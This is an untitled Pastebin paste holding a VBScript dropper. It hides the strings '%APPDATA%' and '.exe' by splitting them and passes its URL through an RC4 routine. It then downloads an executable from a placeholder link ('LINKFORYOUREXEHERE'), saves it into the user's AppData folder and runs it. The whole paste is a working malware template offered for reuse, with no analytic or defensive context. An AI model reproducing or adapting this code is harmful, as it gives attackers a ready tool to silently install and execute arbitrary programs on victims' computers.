Advertisement
Guest User

Untitled

a guest
Oct 4th, 2015
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Dim minhoca
  2. Dim oStream
  3.  
  4. Dim superman
  5. Set superman = WScript.CreateObject("WScript.Shell")
  6. Dim mox
  7. mox = "PP"
  8. Dim sin
  9. sin = "A"
  10. Dim novinha
  11. novinha = superman.expandEnvironmentStrings("%A" & mox & "D" & sin & "TA%") & "\FILE." & "e" & Chr(120) & "e"
  12. Dim simon
  13. simon = StrReverse("e" & Chr(120) & "e")
  14. Dim nimbu
  15. nimbu = fCrypt(simon, "NegoDrama")
  16. Dim kiks
  17. kiks = fCrypt("http://LINKFORYOUREXEHERE/FILE." & "e" & Chr(120) & "e", "NegoDrama")
  18.  
  19. Set minhoca = CreateObject("MSXML2.XMLHTTP.3.0")
  20.  
  21. minhoca.Open "GET", fCrypt(kiks,"NegoDrama"), False
  22. minhoca.Send
  23.  
  24. If minhoca.Status = 200 Then
  25.     Set oStream = CreateObject("ADODB.Stream")
  26.     oStream.Open
  27.     oStream.Type = 1
  28.     oStream.Write minhoca.responseBody
  29.     oStream.SaveToFile novinha
  30.     oStream.Close
  31.    
  32.     superman.Exec "%" & sin & mox & "D" & sin & "T" & sin & "%\FILE" & "." & fCrypt(nimbu, "NegoDrama")
  33. End If
  34.  
  35. Function fCrypt(sPlainText, sPassword)
  36.  'This function will encrypt or decrypt a string using the RSA's RC4 algorithm.
  37.  Dim aBox(255), aKey(255), sTemp, a, b, c, i, j, k, iCipherBy, sTempswap, iLength, sO
  38.   i = 0:j = 0:b = 0
  39.   iLength = Len(sPassword)
  40.    For a = 0 To 255
  41.     aKey(a) = Asc(Mid(sPassword, (a Mod iLength)+1, 1))
  42.     aBox(a) = a
  43.    Next
  44.    For a = 0 To 255
  45.     b = (b + aBox(a) + aKey(a)) Mod 256
  46.     sTempswap = aBox(a)
  47.     aBox(a) = aBox(b)
  48.     aBox(b) = sTempswap
  49.    Next
  50.    For c = 1 To Len(sPlainText)
  51.     i = (i + 1) Mod 256
  52.     j = (j + aBox(i)) Mod 256
  53.     sTemp = aBox(i)
  54.     aBox(i) = aBox(j)
  55.     aBox(j) = sTemp
  56.     k = aBox((aBox(i) + aBox(j)) Mod 256)
  57.     iCipherBy = Asc(Mid(sPlainText, c, 1)) Xor k
  58.     sO = sO & Chr(iCipherBy)
  59.    Next
  60.   fCrypt = sO
  61.  End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement